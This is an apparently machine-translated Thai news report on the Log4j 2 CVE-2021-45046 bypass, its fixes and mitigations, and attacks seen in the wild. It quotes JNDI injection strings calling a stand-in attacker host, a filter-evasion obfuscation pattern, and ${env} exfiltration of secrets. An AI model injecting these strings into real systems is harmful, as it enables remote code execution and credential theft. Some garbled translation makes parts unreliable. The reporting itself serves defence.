ล่าสุดก็มีข่าวออกมาว่า ระบุจุดอ่อนอื่น ในการใช้งานการค้นหา JNDI ในไลบรารี Log4j 2 (CVE-2021-45046) ซึ่งเกิดขึ้นแม้จะมีการแก้ไขเพิ่มในเวอร์ชัน 2.15 และโดยไม่คำนึงถึงการใช้การตั้งค่าการป้องกัน "log4j2.noFormatMsgLookup"
ปัญหา เป็นอันตรายอย่างยิ่งโดยเฉพาะอย่างยิ่งสำหรับ Log4j 2 . เวอร์ชันเก่าได้รับการปกป้องด้วยแฟล็ก "noFormatMsgLookup" เนื่องจากช่วยให้คุณสามารถเลี่ยงผ่านการป้องกันช่องโหว่ในอดีต (Log4Shell, CVE-2021-44228) ซึ่งช่วยให้คุณเรียกใช้โค้ดบนเซิร์ฟเวอร์ได้
สำหรับ ผู้ใช้เวอร์ชัน 2.15 การดำเนินการจำกัดการสร้างเงื่อนไข สำหรับการยกเลิกแอปพลิเคชันอย่างผิดปกติเนื่องจากทรัพยากรที่มีอยู่หมดลง
ช่องโหว่ มีผลกับระบบที่ใช้การค้นหาบริบทเท่านั้น เช่น $ {ctx: loginId} หรือเทมเพลต Thread Context Map (MDC) เช่น% X,% mdc และ% MDC สำหรับการลงทะเบียน
การดำเนินการทำให้เกิดเงื่อนไขในการสร้างเงื่อนไขในการส่งข้อมูลที่มีการแทนที่ JNDI ไปยังรีจิสทรีเมื่อใช้การสืบค้นบริบทหรือเทมเพลต MDC ในแอปพลิเคชัน ซึ่งกำหนดกฎสำหรับการจัดรูปแบบเอาต์พุตไปยังรีจิสทรี
ลอส นักวิจัย LunaSec ตั้งข้อสังเกต กว่ารุ่น Log4j ที่ต่ำกว่า 2.15 ช่องโหว่นี้สามารถใช้เป็นเวกเตอร์ใหม่สำหรับการโจมตี Log4Shellซึ่งนำไปสู่การเรียกใช้โค้ดหากใช้นิพจน์ ThreadContext เมื่อโพสต์ไปยังรีจิสทรี ซึ่งรวมถึงข้อมูลภายนอก โดยไม่คำนึงว่าแฟล็กจะถูกตั้งค่าให้ป้องกันหรือไม่ เทมเพลต "NoMsgFormatLookups" หรือ "% m {nolookups}"
บายพาสการป้องกันลดลงตามข้อเท็จจริงที่ว่าแทนที่จะแทนที่โดยตรง "$ {jndi: ldap: //example.com/a}" นิพจน์นี้จะถูกแทนที่ด้วยค่าของตัวแปรระดับกลางที่ใช้ในกฎเพื่อจัดรูปแบบ เช็คเอาท์ การลงทะเบียน
ตัวอย่างเช่น หากใช้การร้องขอบริบท $ {ctx: apiversion} เมื่อส่งไปยังรีจิสทรี การโจมตีสามารถทำได้โดยการแทนที่ข้อมูล "$ {jndi: ldap: //attacker.com/a}" ในค่า เขียนถึงตัวแปรเบี่ยงเบน
ในเวอร์ชัน Log4j 2.15 สามารถใช้ช่องโหว่ในการโจมตี DoS ได้ เมื่อส่งค่าไปยัง ThreadContext ซึ่งจะวนซ้ำผ่านการประมวลผลรูปแบบรูปแบบเอาต์พุต
เพื่อจะได้ลองแก้ปัญหาที่เจอมา อัปเดต 2.16 และ 2.12.2 ออกแล้ว เพื่อป้องกันช่องโหว่ ในสาขา Log4j 2.16 นอกเหนือจากการแก้ไขที่ใช้ในเวอร์ชัน 2.15 และการเชื่อมโยงคำขอ JNDI LDAP กับ "localhost" โดยค่าเริ่มต้น ฟังก์ชัน JNDI จะถูกปิดใช้งานโดยสมบูรณ์ และการสนับสนุนสำหรับเทมเพลตการแทนที่ข้อความถูกลบออก
วิธีแก้ปัญหา ขอแนะนำให้ลบคลาส JndiLookup ออกจาก classpath (เช่น "zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class")
เป็น การดำเนินการของโครงการต่าง ๆ :
ไปยัง Nginxตามโมดูล njs มีการเตรียมสคริปต์ที่บล็อกการส่งนิพจน์ JNDI ในส่วนหัว HTTP, URI และเนื้อหาของคำขอ POST สคริปต์สามารถใช้บนเซิร์ฟเวอร์ส่วนหน้าเพื่อป้องกันแบ็กเอนด์.
สำหรับ HAProxy มีการกำหนดกฎการกำหนดค่าเพื่อบล็อกการทำงานของ CVE-2021-44228
นอกเหนือจากการโจมตีที่ระบุก่อนหน้านี้ซึ่งมุ่งเป้าไปที่การสร้างบอตเน็ตสำหรับการขุด cryptocurrency แล้ว ยังมีการใช้ประโยชน์จากช่องโหว่ใน Log4J 2 เพื่อกระจายแรนซัมแวร์ที่เป็นอันตรายซึ่งเข้ารหัสเนื้อหาของดิสก์และต้องการค่าไถ่สำหรับการถอดรหัส
ด่านได้ระบุประมาณ 60 สายพันธุ์ การหาประโยชน์ประเภทต่าง ๆ ที่ใช้สำหรับการโจมตี
CloudFlare รายงานว่ามีความพยายามทดสอบการแสดงช่องโหว่ใน Log4j พวกเขาถูกระบุเมื่อวันที่ 1 ธันวาคมนั่นคือ 8 วันก่อนการเปิดเผยปัญหาต่อสาธารณะ ความพยายามครั้งแรกในการใช้ประโยชน์จากช่องโหว่นี้ได้รับการบันทึกเพียง 9 นาทีหลังจากเปิดเผยข้อมูล รายงาน CloudFlare ยังกล่าวถึงการใช้การแทนที่เช่น "$ {env: FOO: -j} ndi: $ {lower: L} ให้ $ {lower: P}" เพื่อละเว้นมาสก์ "jndi: ldap" และการใช้ $ {env} นิพจน์การโจมตีเพื่อถ่ายโอนข้อมูลเกี่ยวกับรหัสผ่านและคีย์การเข้าถึงที่เก็บไว้ในตัวแปรสภาพแวดล้อมไปยังเซิร์ฟเวอร์ภายนอก และนิพจน์ $ {sys} เพื่อรวบรวมข้อมูลเกี่ยวกับระบบ
ในที่สุด หากคุณสนใจที่จะทราบข้อมูลเพิ่มเติม คุณสามารถตรวจสอบ ลิงค์ต่อไปนี้